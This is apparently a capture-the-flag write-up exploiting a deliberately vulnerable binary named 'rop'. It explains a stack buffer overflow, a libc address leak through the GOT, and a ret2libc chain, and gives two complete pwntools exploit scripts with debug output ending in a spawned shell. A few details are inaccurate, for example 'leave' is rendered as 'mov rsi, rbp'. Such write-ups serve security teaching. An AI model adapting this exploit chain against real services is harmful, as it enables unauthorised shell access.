Rop made by BitFriends

Download binary

After running the program it’s waiting for user input. When we provide any input the program displays “Hello World!”.

# ./rop 
Input: test
Hello World!

Our goal is to get a shell. Take a look at IDA.

This is a main function:

We have 3 function calls here. The “input” function is interesting:

The most important part is here:

sub     rsp, 40h

The program allocates a local array of 64 bytes. Then according to the x86 calling convention _read’s arguments are stored in appropriate registers:

lea     rax, [rbp+buf]  ; load addres of local array to rax
mov     edx, 280h       ; load amount of characters which have to be read to edx
mov     rsi, rax        ; copy adres from rax to rsi
mov     edi, 0          ; set file descriptor (0 means a standard input)
mov     eax, 0          ; clear rax (in rax _read error code will be stored)
call    _read
nop

Before the retn instruction threre is the leave instruction. Leave destroys function stack frame, so this is the shorter version of:

mov rsi, rbp
pop rbp

When retn is executed (and we didn’t make a mess), control flow backs to the main function which prints “Hello World”.

During _read call the stack looks like this:

                                Lower addresses

                         +--------------------------------+
                         |                                |
                         | return address (8 bytes)       |
                         |                                |
                         +--------------------------------+
                         |                                |
                         | saved rbp (8 bytes)            |
               ^         |                                |
               |         +--------------------------------+
stack overflow |         |                                |
direction      |         | local array (64 bytes)         |
               |         |                                |
               |         |                                |
               +         +--------------------------------+

                                Higher addresses

In order to hit return address our payload have to overwrite 72 bytes.

Since the program stack is not executable (NX enabled) we need to use the ROP and ret2libc techniques to spawn a shell:

# checksec rop
[*] '/home/Falcon/IT/RE/Rop/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

What is more this challenge requires the ASLR to be enabled so here it is:

# cat /proc/sys/kernel/randomize_va_space 
2

# ldd rop
	linux-vdso.so.1 (0x00007ffcc53be000)
	libc.so.6 => /lib64/libc.so.6 (0x00007f968c313000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f968c4fe000)
# ldd rop
	linux-vdso.so.1 (0x00007ffcfe735000)
	libc.so.6 => /lib64/libc.so.6 (0x00007fe626b3e000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fe626d29000)

To spawn a shell, I will call system(“/bin/sh”). To call system(“/bin/sh”) following steps are required:

In order to pass “/bin/sh” string to system, the string address must be placed in rdi. The “/bin/sh” string address will be stored on stack so we have to pop it. Let’s use ROPgadget:

# ROPgadget --binary ./rop | grep "pop rdi"
0x0000000000400613 : pop rdi ; ret

This is exactly what we need.

Since ALSR is on, the libc address will be different each time the program is started. This means that the address of the system function and the “/bin/sh” string will be different. So our first task is to gain current libc address.

Leaking the libc address

The program uses write function from libc and we also use this function to leak the libc address.

write offset in GOT table:

# objdump -R rop

rop:     file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE 
0000000000600ff0 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.2.5
0000000000600ff8 R_X86_64_GLOB_DAT  __gmon_start__
0000000000601018 R_X86_64_JUMP_SLOT  write@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT  read@GLIBC_2.2.5

write offset in PLT table:

# objdump -d -M intel rop | grep "write@plt"
0000000000400430 <write@plt>:
  400551:	e8 da fe ff ff       	call   400430 <write@plt>
  400576:	e8 b5 fe ff ff       	call   400430 <write@plt>

What we want to do here is to load the address of a write function from GOT table to rdi and then print that address by calling the write function.

This is a write function:

ssize_t write(int fd, const void *buf, size_t liczba);

We got three arguments:

Let’s look for gadgets:

# ROPgadget --binary rop | grep -E 'pop rsi|pop rdx' 
0x0000000000400611 : pop rsi ; pop r15 ; ret

In the binary there is only rsi gadget so we cant set rdx. However rdx was set to 0x280 before the first write call here:

lea     rax, [rbp+buf]  ; load addres of local array to rax
mov     edx, 280h       ; load amount of characters which have to be read to edx
mov     rsi, rax        ; copy adres from rax to rsi
mov     edi, 0          ; set file descriptor (0 means a standard input)
mov     eax, 0          ; clear rax (in rax _read error code will be stored)
call    _read
nop

So we only need to load proper values to rdi and rsi.

The first payload will contain:

Here is python code for part one:

#!/bin/python
from pwn import *

context.log_level = 'debug'
context.terminal  = ['tilix', '-a', 'session-add-right','-e']

# Stage 1 data
main_address = 0x400537
write_address_got = 0x601018
write_plt = 0x400430

# Gadgets
rdi_gadget = 0x400613
rsi_gadget = 0x400611

proc = process('./rop')

log.info("Stage one")
# Input str
log.info("Receive input")
proc.recv(7)

payload = b'A'*72 + p64(rdi_gadget) + p64(0x1) + p64(rsi_gadget)+ p64(write_address_got) + p64(0x0) + p64(write_plt) + p64(main_address)

#gdb.attach('rop')

log.info("Send payload")
proc.send(payload)

log.info("Receiving write address")
# Take only 8 bytes (this will be write address in libc)
leaked_address = proc.recv(8)
write_libc_address = u64(leaked_address)

log.info(f"write address in libc: {hex(write_libc_address)}")

proc.close()

Calculating the libc address

Now when we got a write address we need a libc address. The libc address can be easily calculated:

libc_address = obtained_write_address - write_libc_offset

Finding write offset in libc:

# objdump -d -M intel /lib64/libc.so.6 | grep "<__write>:"
00000000000f2520 <__write>:

Obtaining the rest of addresses

When we got the libc address we can calculate the rest addresses:

system_libc = libc_address + system_libc_offset
bin_sh_libc = libc_address + bin_sh_libc_offset
exit_libc = libc_address + exit_libc_offset

Required offsets:

# objdump -d -M intel /lib64/libc.so.6 | grep "libc_system"
0000000000049e4a <.annobin___libc_system.start>:
0000000000049e50 <__libc_system>:
   49e57:	74 07                	je     49e60 <__libc_system+0x10>
0000000000049e7d <.annobin___libc_system.end>:

#objdump -d -M intel /lib64/libc.so.6 | grep "<exit>:"
000000000003f530 <exit>:

# strings -tx /lib64/libc.so.6 | grep /bin/sh
 18f143 /bin/sh

Spawning a shell

The second payload:

#!/bin/python
from pwn import *

# Stage 1 data
main_address = 0x400537
write_address_got = 0x601018
write_plt = 0x400430

# Gadgets
rdi_gadget = 0x400613
rsi_gadget = 0x400611

#libc offsets
write_libc_offset = 0xf2520
system_libc_offset = 0x49e50
sh_libc_offset = 0x18f143#0x18f148
exit_libc_offset = 0x3f530

proc = process('./rop')

log.info("Stage one")
log.info("Receive input")
proc.recv(7)

payload = b'A'*72 + p64(rdi_gadget) + p64(0x1) + p64(rsi_gadget)+ p64(write_address_got) + p64(0x0) + p64(write_plt) + p64(main_address)

log.info("Send first payload")
proc.send(payload)

log.info("Receiving write address")
leaked_address = proc.recv(8)
write_libc_address = u64(leaked_address)

log.info(f"write address in libc: {hex(write_libc_address)}")
libc_address = write_libc_address - write_libc_offset

# Calculate required addresses
system_libc_address = libc_address + system_libc_offset
sh_libc_address = libc_address + sh_libc_offset
exit_libc_address = libc_address + exit_libc_offset

log.info(f"system address in libc: {hex(system_libc_address)}")
log.info(f"sh address in libc: {hex(sh_libc_address)}")

log.info("Stage two")

shellcode = b'A'*72 + p64(rdi_gadget) + p64(sh_libc_address) + p64(system_libc_address) + p64(exit_libc_address)


log.info("Send second payload")
proc.send(shellcode)
proc.recv()

log.info("Shell spawned")
proc.interactive()
[+] Starting local process './rop' argv=[b'./rop'] : pid 7815
[*] Stage one
[*] Receive input
[DEBUG] Received 0x7 bytes:
    b'Input: '
[*] Send first payload
[DEBUG] Sent 0x80 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000040  41 41 41 41  41 41 41 41  13 06 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000050  01 00 00 00  00 00 00 00  11 06 40 00  00 00 00 00  │····│····│··@·│····│
    00000060  18 10 60 00  00 00 00 00  00 00 00 00  00 00 00 00  │··`·│····│····│····│
    00000070  30 04 40 00  00 00 00 00  37 05 40 00  00 00 00 00  │0·@·│····│7·@·│····│
    00000080
[*] Receiving write address
[DEBUG] Received 0x287 bytes:
    00000000  20 e5 23 3a  07 7f 00 00  80 e4 23 3a  07 7f 00 00  │ ·#:│····│··#:│····│
    00000010  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000280  49 6e 70 75  74 3a 20                               │Inpu│t: │
    00000287
[*] write address in libc: 0x7f073a23e520
[*] system address in libc: 0x7f073a195e50
[*] sh address in libc: 0x7f073a2db143
[*] Stage two
[*] Send second payload
[DEBUG] Sent 0x68 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000040  41 41 41 41  41 41 41 41  13 06 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000050  43 b1 2d 3a  07 7f 00 00  50 5e 19 3a  07 7f 00 00  │C·-:│····│P^·:│····│
    00000060  30 b5 18 3a  07 7f 00 00                            │0··:│····│
    00000068
[*] Shell spawned
[*] Switching to interactive mode
$ echo $0
[DEBUG] Sent 0x8 bytes:
    b'echo $0\n'
[DEBUG] Received 0x8 bytes:
    b'/bin/sh\n'
/bin/sh
$ cat Foo.txt
[DEBUG] Sent 0xc bytes:
    b'cat Foo.txt\n'
[DEBUG] Received 0x11 bytes:
    b'You can read me!\n'
You can read me!
$ sl
[DEBUG] Sent 0x3 bytes:
    b'sl\n'
[DEBUG] Received 0x2f bytes:
    b'/bin/sh: linia 3: sl: nie znaleziono polecenia\n'
/bin/sh: linia 3: sl: nie znaleziono polecenia
$  

Used tools: